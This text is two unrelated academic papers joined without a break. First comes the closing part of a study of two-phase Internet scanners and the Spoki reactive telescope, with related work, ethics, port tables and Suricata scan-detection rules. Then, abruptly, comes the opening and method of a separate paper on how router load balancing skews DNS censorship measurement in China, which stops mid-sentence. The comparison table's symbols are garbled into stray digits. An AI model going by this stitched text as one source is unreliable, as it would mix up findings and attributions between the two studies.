we were able to identify consumer grade routers (MikroTik)
based on Shodan information. This indicates that infected
home routers search for victims of their kind in the adjacent
address space.

For sources that sent at least one local, irregular SYN, we
count the number of all irregular SYNs and calculate the share
of local SYNs, see Figure 17. Scanning within the local /16
network is a common behavior among scanners in this region.
So much, that we find sources that only send a significant
amount of local, irregular traffic (note the sampling rate of
1:16k). Correlating the sources between the IXP and European
telescope shows that 81% of all sources for irregular, local
traffic observed at the IXP have also completed a two-phase
scanning event in the telescope. This suggests that they are
not limited to their /16 and occasionally stray to different
prefixes, thus showing up at our vantage point.

Overall, we find highly targeted scans that operate locally
and in specific prefix-ranges only, potentially aimed at certain
consumer grade routers. Repeating the analysis for the Asian
ISP, however, shows no correlation of /16-local (nor /8-local)
irregular SYNs. Hence, we again conclude that the observed
findings are a regional phenomenon of European networks
which is analogous to the observations in our telescopes. Our
results extend previous findings [1] that botnets largely target
/16 prefixes when performing localized scans.

7 Related Work

Stateless Scanning. Scanrand [30] introduced stateless scan-
ning in 2002, which was followed in 2004 by Unicorn [38],
and in 2013 by Masscan [23] and ZMap [16], the most popu-
lar tool. In this paper, we showed both that stateless scanning
increased significantly since 2014 and that many stateless
scans are complemented by stateful scans (e.g., Nmap) when
the destination is responsive, often to explore vulnerabilities
in more detail. Most recently, Izhikevich et al. introduced
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LZR [27], an advanced scanning system to identify Internet
services and to reduce false positives due to middleboxes.

In contrast to prior work [25], we cannot apply any kind of
training phase to distinguish different scan implementations.
Applying similar techniques to our data set leads to a high
false positive rate, which we can avoid due to a known feature
set. To cope with obfuscation of TCP sequence numbers, we
focus on non-random header field values [21].
Observing Scanners. Bailey et al. [4] collected in-
coming payloads, before stateless scanning was introduced.
Pang et al. [45] monitored IBR and built application-level
responders. Their results underscore the importance of ana-
lyzing unsolicited traffic to identify new breeds of malicious
activities. In contrast, Spoki does not run in kernel but in
user mode, which eases maintenance. Wustrow et al. [58]
excluded active measurements when looking at IBR.

Durumeric et al. [15] observed scanners from a darknet.
They found that ≈30% of the HTTP(S) scan traffic in 2013-
2014 relates to research institutions. Our analysis of two-
phase scanners clearly showed that many scans do not relate
to benign activities, which increased since 2017 notably.

Richter et al. [48] used the firewall infrastructure of a
global CDN to collect unsolicited traffic. Their vantage points
are live CDN servers that run the firewalls, distributed across
more than 1,000 ASes. They find that most of the observed
scans do not cover the entire Internet, but remain partial, with
30% even touching only a rather confined, local region of
the address space. Unfortunately, no clear signature of IP-
locality could be identified. Instead, a different target of the
scanners became visible, emphasizing vulnerable home gate-
ways. The measurement was purely passive and considered
the vantage points as a combined set. In our work, we showed
that reacting to connection requests is crucial to reveal mali-
cious intents and to analyze vantage points separately with
respect to their topological as well as geographical distribu-
tion. Blaise et al. [6] found that preliminary scans target a
subset of the IPv4 space, which makes them only visible in
specific data sets. We confirm and expand this observation in
our study.

Overall, our unique measurement setup of reactive, dis-
tributed network telescopes, focusing on two-phase scanners
offers new insights on scanning behavior. We can confirm
that—for some setups—scans often occur from adjacent ad-
dress space. In contrast to related work, we also found that
scanners select services to target based on the location of a
destination, indicating that attackers execute informed strate-
gies. To our surprise, origin countries of scanners are visible
independently of the vantage point but the intensities of the
scanning activities depend on the locations of the telescopes.
Table 4 compares most related prior work with Spoki.
Honeypots. Spoki operates somewhere between pure network
telescopes and honeypots [7,42]. In contrast to honeypots [47],
Spoki does not emulate any services or complete network
stacks. It runs on a given IP prefix without knowledge of indi-

Table 4: Comparison of prior work and Spoki.
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’04 [45] 8 8 8 8 3 (3) US 8 3 3 -
’06 [1] 8 3 3 8 8 3 US, PL 8 - 3 (8)
’06–’10 [58] 8 3 8 8 8 8 US 8 3 3 -
’08–’15 [5] 3 8 8 8 8 8 US 8 3 3 -
’11 [13] 3 3 3 8 8 8 US 8 3 8 (8)
’13-’14 [15] 8 8 8 8 3 8 US 8 3 - -
’15 [21] 8 3 8 8 8 8 - 8 - - -
’16 [26] 8 8 8 8 3 8 KR 8 3 3 -
’18 [48] 8 3 8 3 8 (3) 156 cou. 8 - 3 -
’20-’21 Spoki 3 3 8 8 8 3 US, EU 3 3 3 3

vidual IP addresses or sockets. Spoki supports source-specific
state, which we use to avoid an impact on scalability. Honey-
pots deployed in different networks observe vastly different
scanning activities [57], which motivated deploying Spoki in
geographically and topologically distributed networks.

Honeyd [20,52] runs virtual hosts to study different servers.
In Spoki, we do not need to virtualize single hosts, which
reduces overhead. Vrable et al. [56] present Potemkin, a
virtual honeyfarm that creates VMs on demand to capture
incoming traffic. Potemkin achieves scalability based on VMs
that only remain active as long as needed. The paper presents
performance and runtime insights from a 10 min. deployment
of Potemkin on a /16 network. Handling the incoming traffic
required 58 VMs on average with peaks into the thousands.

GQ [32] provides a platform to research malware at scale
while keeping it contained. In addition to intentional infection,
GQ supports a honeyfarm model where machines are exposed
to the Internet. Flexible containment policies address the
requirements for individual malware but may require manual
work to fit. GQ does not focus on scalability as Potemkin [56]
or Spoki do and only targets a “moderate” number of hosts.

Potemkin and GQ are orthogonal to Spoki. While Potemkin
could potentially fit into a similar deployment type—not as
an add-on to a telescope but as a replacement—GQ could be
an additional deployment where malware collected by Spoki
could be run for further analysis.

Spoki collects packets after a TCP handshake. While pack-
ets might include malware, Spoki does not perform any other
actions aside from identifying download instructions that use
wget and curl to acquire the linked data. In contrast, high
interaction honeypots emulate full systems and potentially
allow the execution of malware.
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8 Discussion and Outlook

In this paper, we identify and systematically explore two-
phase scanning, which appears as a separate, parallel wave of
malicious activities on the Internet since 2014. We developed
Spoki, a highly scalable analysis tool that transforms passive
telescopes into reactive measurement platforms and interacts
with TCP scanners.

Two-phase scanners follow a stateless approach to initially
scan for victims. This enables them to explore the Internet
rapidly and poses a particular threat to the community. Al-
though originally used by researchers, stateless scanning is
now linked to malware. The low technical requirements en-
able everyone and every device to participate in Internet-wide
scans. At such high scanning speeds attackers can identify
and attack vulnerable devices leaving little time to react. They
can thus construct botnets quickly. Our observations have
practical and operational implications.
Security Takeaways. Independently of the exploited protocol
and vulnerability, two-phase scans act as a catalyst. To pro-
tect against two-phase reconnaissance scans, we encourage
network operators to deploy alert or filter rules (Appendix D),
while scanning for research purposes could be accepted.

System maintainers should be aware that their vulnerable
devices can be discovered within hours and any exploit may
turn their systems into an active scanner. They should monitor
for malicious activities and shorten update cycles.

Developers of monitoring tools should support software
that reacts to irregular TCP SYNs even though those SYNs do
not comply with common TCP behavior, otherwise users of
monitoring systems, including operators and researchers, will
see fewer types of attacks. Our analysis of the transport pay-
load underscores that lightweight transport-layer handshakes
are sufficient to capture the locations of malware, which can
be fetched asynchronously (and from different locations com-
pared to the measurement probe) for further inspection.

By correlating two reactive network telescopes and addi-
tional vantage points in the Internet core (IXP, ISP), we unveil
the differences between traditional one-phase and two-phase
scanners. We find two-phase scanners to be significantly more
targeted towards their victims. Repeatedly launched on home
routers, two-phase scanners are also used for location-specific
scans by various malware types. These locality features could
be drilled down in the dimensions of physical geolocation as
well as topological proximity in the IP address space, which
guides network operators where to deploy probes. Further-
more, these results show that two-phase scanners operate
more informed and explicitly target regions with vulnerable
devices. These insights help to inform policy-makers on the
need to support long-term software updates and advise for
deploying protective measures.
Outlook. In the future, we will use Spoki to assess the evo-
lution of scanning through enhanced capabilities and on a
larger scale. We will extend Spoki with fingerprints of mul-

tiple scan and malware families to detect and classify them
automatically, thereby focusing on dedicated behavioral anal-
ysis of individual scanning campaigns. We will also expand
our telescopes to cover portions of the IPv6 address space.
Artifacts. All artifacts of this paper are available at https:
//spoki.secnow.net.
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A Ethical Considerations

We take precautions to avoid that Spoki acts as a TCP reflec-
tor or amplifier for attacks [34]: (i) Spoki packets are small,
(ii) Spoki does not retransmit packets, and (iii) Spoki does not
queue up probe requests to the same host-port combination.

B Two-phase Scanners Monitored at EU Tele-
scope

We observe the same amount of sources at our Telescope in
the EU compared to our telescope located in the US (compare
Figure 18 with Figure 7).
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Table 5: Top-5 scan ports during the last 16 years, measured at our telescopes and compared to related work, which does not
distinguish between two- and one-phase scanners.

Pre-ZMap era ZMap release in 2013 enabled easy two-phase scanning
2004 [45] 2010 [58] 2014 [15] 2018 [26] 2020 (two-phase) 2020 (one-phase)
HTTP (80) SMB-IP (445) SMB-IP (445) Telnet (23) Telnet (23) SMB-IP (445)
NetBIOS (135) NetBIOS (139) ICMP Ping MS-SQL (1433) HTTP (81) Telnet (23)
NetBIOS (139) eMule (4662) SSH (20) Netis-vuln (53413) MS SQL (1433) RDP (3389)
DameWare (6129) HTTP (80) HTTP (80) SSH (22) HTTP (7547) SSH (22)
MyDoom (3127) NetBIOS (135) RDP (3389) HTTP (80) HTTP (80) Unassigned (43344)
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Figure 18: Share of observed two-phase sources collected in
the EU.

C Evolution of Scan Ports

The evolution of the top-5 service scans over the last 16 years
is summarized in Table 5.

D Integrating Spoki into a Real-Time Intru-
sion Prevention System

In addition to our real-time measurement platform, we also
contribute signatures for Suricata [19], a scalable intrusion
detection system. This integration allows to inspect the traffic
of any actively used network (i.e., not a telescope) for incom-
ing two-phase scans. Please note that these rules can be easily
modified to not only alert but also drop such scans, which
effectively protects the respective network in real-time.

Listing 2: Signatures for Suricata which allow for the detec-
tion of two-phase scans in actively used networks.

1 pass tcp $HOME_NET any <- $EXTERNAL_NET any
2 (msg:"IRREGULAR SYN";
3 flags:S,12; ttl:>199; tcp.hdr; bsize:20;
4 xbits:set ,ir_syn ,track ip_pair ,expire 10;
5 sid:1;)
6
7 alert tcp $HOME_NET any <- $EXTERNAL_NET any
8 (msg:"TWO PHASE SCANNER";
9 flags:S,12; ttl:<200; tcp.hdr; bsize:>20;

10 xbits:isset ,ir_syn ,track ip_pair;
11 sid:2;)

E Scan Origins

Figure 19 visualizes the share of two-phase events by country
over the period of three months, separately for each of our
vantage points. Each map indicates the share of the respective
events; a higher share results into a darker color.
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(a) Collected in the US. Most of the scanners are located in the US or
Taiwan, both contribute a bit more than 10%.
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(b) Collected in the EU. Most of the scanners are located in the Ukraine,
Russia, China, or Poland, all contributing slightly about 10%.

Figure 19: Share of two-phase events by country of source ad-
dress. The most frequently observed origins differ by vantage
point.
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Abstract
Internet censorship is widespread, impacting citizens of hun-
dreds of countries around the world. Recent work has devel-
oped techniques that can perform widespread, longitudinal
measurements of global Internet manipulation remotely and
have focused largely on the scale of censorship measurements
with minimal focus on reproducibility and consistency.

In this work we explore the role packet headers (e.g., source
IP address and source port) have on DNS censorship. By per-
forming a large-scale measurement study building on the
techniques deployed by previous and current censorship mea-
surement platforms, we find that choice of ephemeral source
port and local source IP address (e.g., x.x.x.7 vs x.x.x.8) influ-
ence routing, which in turn influences DNS censorship. We
show that 37% of IPs across 56% ASes measured show some
change in censorship behavior depending on source port and
local source IP. This behavior is frequently all-or-nothing,
where choice of header can result in no observable censor-
ship. Such behavior mimics and could be misattributed to
geolocation error, packet loss, or network outages. The scale
of censorship differences can more than double depending
on the lowest 3 bits of the source IP address, consistent with
known router load balancing techniques. We also observe
smaller-scale censorship variation where only a few domains
experience censorship differences based on packet parame-
ters. We lastly find that these variations are persistent; packet
retries do not control for observed variation. Our results point
to the need for methodological changes in future DNS cen-
sorship measurement, which we discuss.

1 Introduction
Internet censorship affects hundreds of countries around the
world [24, 30, 31, 37]. Despite this prevalence, empirical In-
ternet measurements revealing the scope and behavior of cen-
sorship remain comparatively nascent. Recent work has de-
veloped techniques that can perform widespread, longitudi-
nal measurements of global Internet manipulation remotely,
without requiring the participation of individual users in the
countries of interest [30, 31, 37].

Remote measurement methods rely on the construction
of measurement packets which are sent through network de-
vices that perform manipulation and censorship. While prior
work [24, 30, 31, 37] has focused largely on the scale of cen-

sorship measurements—how do we measure as many things
(i.e., censored domains) as possible—relatively little work
exists exploring the reproducibility and consistency of these
measurements. More troubling, prior work has identified non-
determinism [2, 31, 33, 39] in censorship results, which are
typically attributed to issues of load in censorship devices or
geographic variations, but without significant understanding
of these phenomena.

Unrelated to censorship, Internet routing between end-
points is known to change both over time [1, 5] and based on
the construction of the packet [4]. In order to evenly distribute
load, routers will examine portions of the IP and TCP/UDP
header and send packets on different paths based on those
values [4]. Bits of source IP and source port are some of the
fields known to cause routing changes [4, 12]. Despite this
phenomenon being well known in the routing literature, we
are unaware of any prior censorship measurement work that
has accounted for such routing variations.

Our work explores the intersection of router load balancing
based on packet headers (e.g., source IP address and port)
and DNS censorship. Our key insight is that the choice of
ephemeral source port and local source IP address within
a subnet (e.g., x.x.x.7 vs x.x.x.8) results in Internet route
differences which when combined with country-level Internet
censorship apparatuses, change DNS censorship behavior.
These routing variations are the result of load balancing done
throughout the Internet orthogonal to censorship activities.

Using Chinese DNS censorship [19, 23, 25, 42] as a lens to
understand this phenomena, we perform a large-scale mea-
surement study building on the techniques deployed by previ-
ous and current censorship measurement platforms [31,36,37],
augmented with our own measurement methodology to iden-
tify and control for packet headers and routing changes.

We find that changes to ephemeral source port and IP ad-
dress do indeed influence routing, which in turn influences
DNS censorship measurement results. We find that 37% of IPs
across 56% ASes measured show some change in censorship
behavior depending on source port and source IP. We also
find that the most common form of variation is all-or-nothing
behavior, where a source IP or source port either experiences
no censorship or “expected” censorship activity. Such behav-
ior mimics and could be misattributed to non-determinism,
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load shedding, or geolocation errors. The extent of these cen-
sorship differences can more than double depending on the
lowest 3 bits of the source IP address. We document and de-
scribe how this bit-level operation is consistent with known
router load balancing techniques [11–13]. Further, we ob-
serve similar censorship changes based on the lowest 3 bits
of the destination IP address. We lastly show smaller-scale
censorship variation where only a few domains experience
censorship differences. We find that all these variations are
persistent; packet retries do not control for these variations.

Our results point to the need to carefully control for IP
address and source port selection to ensure the correctness
of censorship measurement studies, as well as the need to
understand these phenomena when performing localized or
longitudinal analysis of the results.

Our contributions include:

• Describing and exploring the impact router load balancing
has on DNS censorship measurement.

• Developing BreadCrumb, a measurement methodology and
associated tool to quantitatively understand the prevalence
of censorship changes due to router load balancing across
source port, source IP, and destination IP.

• Demonstrating the methods previous studies have used
for DNS censorship measurement are subject to routing-
induced censorship differences.

• Finding that router load balancing based on IP address
patterns and source port results in observed censorship
differences across 37% of measured IPs and 56% measured
ASes. We further show these differences can more than
double based on the lower 3-bits of source IP.

• Quantifying small-scale censorship measurement differ-
ences over a subset of newly censored domains and a subset
of destination IPs.

• Providing guidance for future measurement studies to ac-
count for this phenomena.

2 Related Work
In the last decade there have been many studies focused on
understanding censorship at different scales. Some focus on
specific countries, such as China [42], Iran [3,8], Pakistan [26],
Russia [34], India [22], Syria [10], and Egypt [6]. Others fo-
cus on large scale global measurement [20, 24, 31, 33, 37, 38].
These censorship studies answer various questions like: (1)
what is censored? (2) how does the censorship work? (3)
how does censorship change over a long time scale? None of
these studies have explored the impact of router load balanc-
ing resulting from packet source parameters on censorship.
BreadCrumb explores the consistency of these results and
how they change in the face of router load balancing.

Remote Censorship Measurement. Since most censorship
systems are deployed in the form of middle-boxes that inter-
cept traffic and perform an action based on it, many studies

utilize some form of remote (i.e., outside-in) measurement
technique [3, 9, 18, 19, 23, 27, 28, 31, 33, 34, 37, 38, 40, 42]
to understand censorship. These outside-in, remote, or exter-
nal measurements typically involve sending a probe packet
containing some content that will trigger censorship behavior
towards a vantage within a censored country, and analyzing
the results of the responses to understand censorship.

Remote censorship measurement usually takes place at
one of the network stack levels: (1) DNS, where mainly ma-
nipulation at the DNS level is studied with some auxiliary
information [19, 23, 27, 31, 40], (2) TCP, where some form of
TCP connection is attempted at a vantage point with some
sensitive contents [38]), or (3) some form of hybrid censor-
ship [34, 37]. In any of these cases, the measurement relies
on the stability of the path traversed by the packet to obtain
consistent results. BreadCrumb’s exploration of how remote
censorship results change with packet construction is useful
in understanding and validating not only all of these studies,
but also future studies that make use of these techniques.

Chinese Internet Censorship. There have been many stud-
ies that have focused on understanding censorship behavior
in China directly [2, 19, 23, 25, 29, 42] or as part of a larger
global-scale censorship study [24, 31, 37]. BreadCrumb is
directly relevant to and builds on the understanding (and in
some cases methodology [31]) of these studies, as much of the
censorship explored does not account for potential changes
based on packet construction.

Network Load Balancing. Router load balancing is preva-
lent across the Internet. Augustin et al. [5] explored the preva-
lence of load balancing in the Internet and found that close
to 72% of paths traverse through a load balancing router (in
2011). Their earlier work Paris Traceroute [4], explores the
contents of a packet that can influence routing. In addition,
router documentation [11, 13] indicates the use of various
packet parameters like source port, source IP and destination
IP to make load balancing routing decisions. Therefore, any
censorship measurement techniques that rely on the stability
of a network path to obtain accurate results are potentially
affected by the choice of input parameters used in the experi-
ment. This is the core problem BreadCrumb explores.

Non-Determinism in Censorship Results. Previous work
on censorship has observed unstable results or non-
determinism that, while referenced, have not been explored in
great detail [2,31,33,39,40]. Raman et al. [33] experienced in-
frequent absences in their results and they speculate this could
be caused by routing changes in the path over time (not due to
packet construction). Weinberg et al. [40] found varying levels
of censorship depending on the origin network and destina-
tion of their probes and also speculated the variations could
depend on route, but did not analyze further. Wang et al. [39]
noticed that among a certain set of client and servers in their
measurement, the TCP RST employed by the Great Firewall
(GFW) was not successful in tearing down the connection
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which they presume is caused by load balancing. Pearce et
al. [31] also identified variation in censorship within a country.
Anonymous [2] observed that changing the destination and
port of their injecting packet resulted in different paths result-
ing in different injecting interfaces, but did not explore the
phenomena. BreadCrumb presents an opportunity to connect
a common thread across the anecdotes and speculated causes
of censorship non-determinism, providing specific measure-
ments, understanding, and cause of the phenomena, as well
as recommendations for future studies.

3 Method
In this section we describe BreadCrumb, our methodology
and supporting tool to understand differences in DNS censor-
ship measurement resulting from changes in packet header
information (e.g., source IP and source port). We begin by
reviewing the problem space and then describe the design
considerations of BreadCrumb required to explore both rout-
ing changes and censorship results. BreadCrumb builds on
the DNS censorship measurement methodology used by prior
studies and systems [31, 36, 37].

We begin by discussing the ethical guidelines and princi-
ples we adhered to when developing our methodology and
conducting our study. We then explore the design consider-
ations for (1) choosing the destination IPs we perform the
experiments on, and (2) choosing the input parameters of the
packets we vary. Finally, we describe how given a set of des-
tination IPs and source parameters, we identify routing and
censorship changes, and use methodology to develop under-
standing of how changes in the source parameters influences
paths differences and observed censorship behavior.

3.1 Overview
BreadCrumb aims to understand the impact of changing vari-
ous packet parameters on: (1) the route taken by a DNS probe
packet, and (2) observed DNS censorship behavior. It can
be leveraged to understand the behavior in a specific country,
e.g., China, or in a broader global DNS injection measurement
study. Figure 1 presents an overview of BreadCrumb.

Previous censorship measurement methodologies focus on
obtaining response packets and then understanding if they
are correct [31, 36, 37]. Our goal is different. Namely we
need to explore the route taken by packets that result in such
censorship. This involves developing our own traceroute mea-
surement methodology that utilizes censorship measurement
packets for route discovery. This distinction is critical as dif-
ferences in packet header information between censorship
measurement packets and traceroute packets could themselves
lead to route changes [4]. BreadCrumb understands this prob-
lem and generates traceroute information utilizing censorship
measurement packets that ensure the route between traceroute
and censorship measurement is unchanged.

Approach. BreadCrumb utilizes the core remote DNS cen-
sorship measurement methodologies of prior studies [31, 36,

37]. Namely, we send DNS packets from an external measure-
ment vantage point towards IP addresses in a censored region
and observe the result. Where BreadCrumb differs from prior
works is that the goal is not to identify censorship itself but
rather observe how changes in the packet header change the
censorship measurement results.

A key insight is since BreadCrumb is interested in changes
in censorship based on packet construction, rather than the
actual censorship result itself, the challenging [31] problem
of detecting if the IP address in a response is correct, is simpli-
fied. We further solve this problem by focusing our measure-
ments on symmetric DNS censorship, meaning censorship
apparatuses that inject responses on both inbound and out-
bound (from the perspective of the censor) DNS packets. As
discussed subsequently, focusing on symmetric censorship
aids the scale of our measurements, supports the ethical princi-
ples we adhere to (Section 3.2), and simplifies understanding
response packets.

We utilize Chinese DNS censorship as a lens for un-
derstanding the phenomena of routing-induced censorship
changes. We selected China for two reasons: (1) DNS cen-
sorship in China is well studied [19, 23, 25, 31, 36, 37, 42],
and (2) Chinese DNS censorship is symmetric [23, 31]. This
symmetry allows us to develop measurement methodologies
that adhere to our ethical guidelines while still replicating the
methodologies of previous studies [31, 36, 37].

By leveraging this symmetric behavior and the need to only
capture changes in censorship, we can measure DNS censor-
ship by probing any IP address in a given network range—
we do not need to limit our measurements to actual DNS
resolvers, as the censors will inject responses for packets des-
tined for any address. To that end we focus our measurements
on IP addresses that do not have any open ports observable
via Censys [16]. Selecting such IPs allows any response ob-
served to be a censorship response (since the destination IP
does not respond), and ensures that no subsequent queries
are generated by the measured IP addresses. This allows us
extensive flexibility in our measurements while also helping
to address ethical concerns (Section 3.2).

Building on prior censorship measurement [31, 36, 37] and
fixed-path traceroute [4] methodologies, we generate fixed-
construction DNS packets for censored domain names. We
then vary the source IP address across a /24 subnet and across
source ports while also varying the TTL. This set of packets is
then tested against a set of measurement destination IPs. The
varying TTLs allows us to reconstruct the routes the packets
take, while the varying source IP and source port allow us
to discover differences in routes and censorship. Once the
measurement packets and responses are collected, we perform
analysis to identify routing and censorship differences. We
describe this process in more depth subsequently.

Assumptions. BreadCrumb’s goal is to identify changes in
censorship measurement behavior that results from changes
to packet headers. Our goal is not to identify censorship be-
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Figure 1: Overview of BreadCrumb. Our system takes a range of source ports, source IPs, destination IPs, and potentially
censored domains, and ultimately identifies changes in censorship behavior due to changes in source IP and source port.

havior but instead to capture differing censorship behavior.
We assume that measurement systems vary the source port
they send measurement packets from, and the measurement
packets may come from a variety of source IP addresses. We
also assume that the censorship systems we are measuring
inject packets symmetrically to inbound or outbound traffic,
regardless of the existence of services on either endpoint.

3.2 Ethics
Our measurement methodology is designed around consid-
ering issues of ethics. Measuring Internet censorship carries
potential risks. We consider these risks across two axes: (1) if
issuing DNS queries for censored domain names via resolvers
we do not control could potentially implicate unrelated par-
ties, and (2) if issuing our queries could create load on DNS
servers we do not control. We begin to address these issues
by limiting our censorship measurement to IP addresses that
have no observable open common ports. More specifically
we send DNS packets to a closed port that will not respond to
us. We also limit our measurements to the minimal volume of
IP addresses and domain names we need to ensure our results
are representative; our goal is not exhaustive exploration but
rather demonstrating the existence of a phenomena in order to
improve future studies. Despite these steps to mitigate risk it
may still exist. We therefore consider the ethics of performing
our experiments based on the structure established by prior
studies [30,31], namely considering the ethical guidelines and
principles from the Belmont [7] and Menlo [15] reports.

We begin by considering the principle of justice. Justice
encompasses the notion that those who bear the risk of an
experiment should also be those who would benefit from it.
The direct beneficiaries of BreadCrumb are broad and in-
clude policy makers, censorship measurement researchers,
and circumvention tool designers. Improvements across each
of these fronts will in turn directly benefit those who poten-
tially bear the risk of these experiments.

We next consider respect for persons, a principle which
aims to protect humans as autonomous decision makers. Re-

spect for persons can be misinterpreted as informed con-
sent [31]. Rather Salganik describes this principle as “some
consent for most things [35].” While we aim to respect this
principle by limiting which IPs we measure, for our study it
is impractical to obtain the consent of the owners of each IP
address which may or may not be in use, turning our attention
to our next principle.

Given that we cannot obtain informed consent, we look to
beneficence. Beneficence weighs the benefit of performing
research versus its inherent risk. Beneficence does not attempt
to eliminate risk, rather it seeks to reduce it. We rely heavily
on beneficence both by the selection of IP addresses that do
not have commonly open ports as well as limiting the extent
of what we measure to representative IPs and domains. We
note, as have other studies [31], that there are diminishing
returns on exhaustive measurements, and these returns likely
do not justify the given risk. We also note our methodology
of using exclusively IPs that are not resolvers is a significant
departure (and reduction in risk) from prior methodologies.

Lastly, we consider respect for law and public interest. This
can be considered the natural extension of beneficence to
all stakeholders [31], not just the subject of an experiment.
Considering the potential increase in DNS query load caused
by censorship measurements falls under this principle. We
address this principle both by limiting what we measure (IPs
and domains) but also by significantly limiting our query rate.
The only increased load in our measurements would be similar
to that of Internet scans of a closed port.

3.3 Building and Deploying BreadCrumb
Conceptually the problem of identifying censorship changes
due to routing can be broken down into several distinct tasks:
input generation, packet generation, and analysis. Practically,
the problems of analysis and packet generation are iterative to
address packet loss and short-term routing fluctuations (dis-
cussed further in Section 3.3.3). Figure 1 shows an overview
of BreadCrumb broken down by these tasks. We now describe
each task in further depth.
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3.3.1 Task 1: Input Generation

Input generation can be broken down around the sub-tasks of
selecting destination IPs in a given region to explore, identi-
fying domain names to look for censorship changes across,
and selecting source IPs and ports to run the experiments over.
This process is shown in component 1 in Figure 1.

Selecting Destination IPs. To obtain a comprehensive view
of routing and censorship changes, we need to identify an ex-
tensive set of geographically distributed vantage points inside
the region or country of interest. This problem is a direct
analog to the problem of vantage selection when conducting
remote measurements in prior studies [30,31,36,37]. Our goal
is to understand how changes in packet construction can influ-
ence censorship measurement results, therefore we replicate
the destination IP selection methods of prior studies [31, 36]
to the extent possible.

BreadCrumb begins by utilizing the Censys [16] system to
identify all open DNS resolvers within a given region. For the
purposes of this study, that is China. 1 By further leveraging
Censys we then select another IP address on the same /24
subnet as the open resolvers that has no known open ports, in-
cluding port 53 (DNS) not being open. We perform additional
filtration and verification of the experimental IPs each time be-
fore they are used to address stale data and churn, while also
ensuring Censys correctness. Before and during each experi-
ment we send out DNS requests to each destination for known
uncensored domains (i.e., example.com, afekv.com 2) and
if we obtain any responses to these requests, we discontinue
use of that IP for any experiment (explained further in Sec-
tion 3.3.3).

The benefit of selecting a “non responsive” IP in the same
subnet as a vantage point is twofold. First, this method keeps
with our ethical principles (Section 3.2) by limiting risk as
much as possible—our queries elicit no responses from the
destination IP, and the destination IPs do not in turn issue
subsequent queries. Second, any DNS responses we receive
should be the result of censorship, thus simplifying analysis.
From this list of viable candidate destination addresses we
randomly sample weighting by the autonomous system in an
effort to obtain network diversity. The number of IPs selected
varies and is kept as low as possible based on the experiment.
This is discussed further in Section 4.

Identifying Domains to Query. Similar to the selection of
destination IPs, we attempt to replicate the domain selection
methodology of prior studies [30,31,37]. We focus on measur-
ing changes in censorship to domain names from the Citizen
Lab Block List (CLBL) [14]. Since our goal is discovering
routing induced censorship changes and not studying com-
prehensive censor behavior, we select a minimum sample of
domains from each category for our measurements that focus
on domain scale. For other experiments that focus on routing

1Censys provides geolocation data using the Maxmind GeoIP2 dataset.
2afekv.com is a domain created specifically for Censys DNS scans.

instead of changes in censorship we use 2 well known uncen-
sored domains (i.e., example.com, afekv.com). Section 4
provides per-experiment domain selection details.

Selecting Source IPs and Ports. The hypothesis Bread-
Crumb seeks to explore is if the selection of source IP address
or source port ultimately impacts the form of remote van-
tage point censorship measurement utilized by previous stud-
ies [30, 31, 36, 37]. To explore this hypothesis BreadCrumb
selects source IPs at random from a research /24 IPv4 address
range. BreadCrumb also selects source ports at random from
the ephemeral port range. The number of IPs/ports selected
depends on the experiment as discussed in Section 4.

3.3.2 Task 2: Packet Generation

BreadCrumb seeks to understand two interconnected phe-
nomena both related to the construction of packets. First
BreadCrumb aims to understand how packet construction
influences routing in scenarios similar to previous studies.
Second, BreadCrumb needs to understand how those changes
in route map to changes in censorship.

Performing Censorship Traceroute. Our first step is to
reconstruct the approximate router hop path traveled by our
censorship measurements. A key challenge here is typical
traceroute tools do not account for changes in packet con-
struction that can influence routing [4]. Further, we cannot
directly use tools such as Paris Traceroute [4] as it does not
natively support several features necessary for our work. For
example it has: (1) no integrated functionality to generate
application-level packets, (2) no integrated ability to vary
source IP within an experiment, and (3) limited ability to
control packet volume. Moreover, while Paris Traceroute pro-
duces routes, we are (mainly) interested in censorship.

BreadCrumb addresses these challenges by combining
fixed-route traceroute tooling with censorship measurement
methodologies. Given a particular input combination (i.e.,
destination IP, source IP, source port, and domain), Bread-
Crumb sends censorship measurement DNS queries to the
destination IP at incrementing TTLs (similar to traceroute),
while carefully controlling for fields in the packet header that
are known to be used by routers to perform load balancing [4].
We record all DNS and ICMP TTL Expired responses we
receive during the experiment, using the ICMP responses to
reconstruct a path, and the DNS responses to identify changes
in censorship.

A second key challenge is disambiguating ICMP responses
since many of the packet header fields typically used to dis-
ambiguate experiments (e.g., source port) must be fixed as
TTL increases in order to ensure consistent routing. To solve
this problem we disambiguate response ICMP packets via
the UDP checksum field inside the UDP header embedded
in the ICMP response. The UDP checksum is an ideal field
as both routers are not known to utilize that field for load
balancing [4], and the UDP checksum field is within the first
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8-bytes of IP packet data required to be embedded within the
ICMP packet [32]. This UDP checksum technique is also
utilized by the Paris Traceroute fixed-route tool [4].

BreadCrumb performs DNS Traceroute only for experi-
ments aimed at understanding paths. For experiments aimed
at understanding changes in censorship, BreadCrumb forgoes
all traceroute and TTL measurements to limit the overall num-
ber of packets sent, in keeping with our ethical guidelines.

Sending DNS Queries. BreadCrumb’s core measurement
functionality takes in source IPs, source ports, destination
IPs, domain names, and experiment parameters (e.g., censor-
ship changes or traceroute mode), and generates a packet
schedule. The packet schedule randomizes all parameters and
distributes queries evenly across destination IPs to avoid over-
loading while simultaneously ensuring rate-limiting (locally
and globally). BreadCrumb’s packet generation and capture
tooling is implemented in the Go programming language [21].

3.3.3 Task 3: Analysis

After we have generated our first packet schedule and con-
ducted our first round of measurements, we begin an analysis
phase which not only provides the ultimate understanding of
changes in censorship, but also directs an iterative process of
subsequent measurements to ensure correct results.

Establishing Result Consistency. BreadCrumb aims to
understand subtle changes in censorship behavior based on
packet construction. To achieve this we must establish confi-
dence in the consistency and robustness of our results. Given
our methodology we expect any response packet to be a cen-
sorship event, and any non-response to be lack of censorship.
If we send a packet and do not get a response, that could be a
lack of censorship, or it could be a dropped packet. Moreover
if we then send a second packet and get a response, was that a
change in route, or recovery from a packet drop? Packet drops
commonly occur on the Internet for a variety of reasons, and
routes could change regardless of packet construction. Both
of these scenarios could appear as a change in censorship and
must be taken into account by our methodology.

We address these challenges by taking an iterative exper-
imental approach and using a conservative decision metric.
Steps 3 and 4 of Figure 1 show this process. After each ex-
periment iteration BreadCrumb accumulates all queries and
responses and identifies if some responses were missing. A
missing response could denote a lack of censorship, a change
in censorship (if other queries generated a response), or a
dropped packet. For each missing packet, BreadCrumb re-
peats the specific experiment (source IP & port, destination
IP, domain) in the next iteration. This process repeats several
times until a response occurs or we reach maximum retries.
The convergence of this method is discussed in Section 4.5.

BreadCrumb takes a conservative approach to identifying
changes in censorship by assuming that if a response is ever
received for a given experiment, that response is correct (and

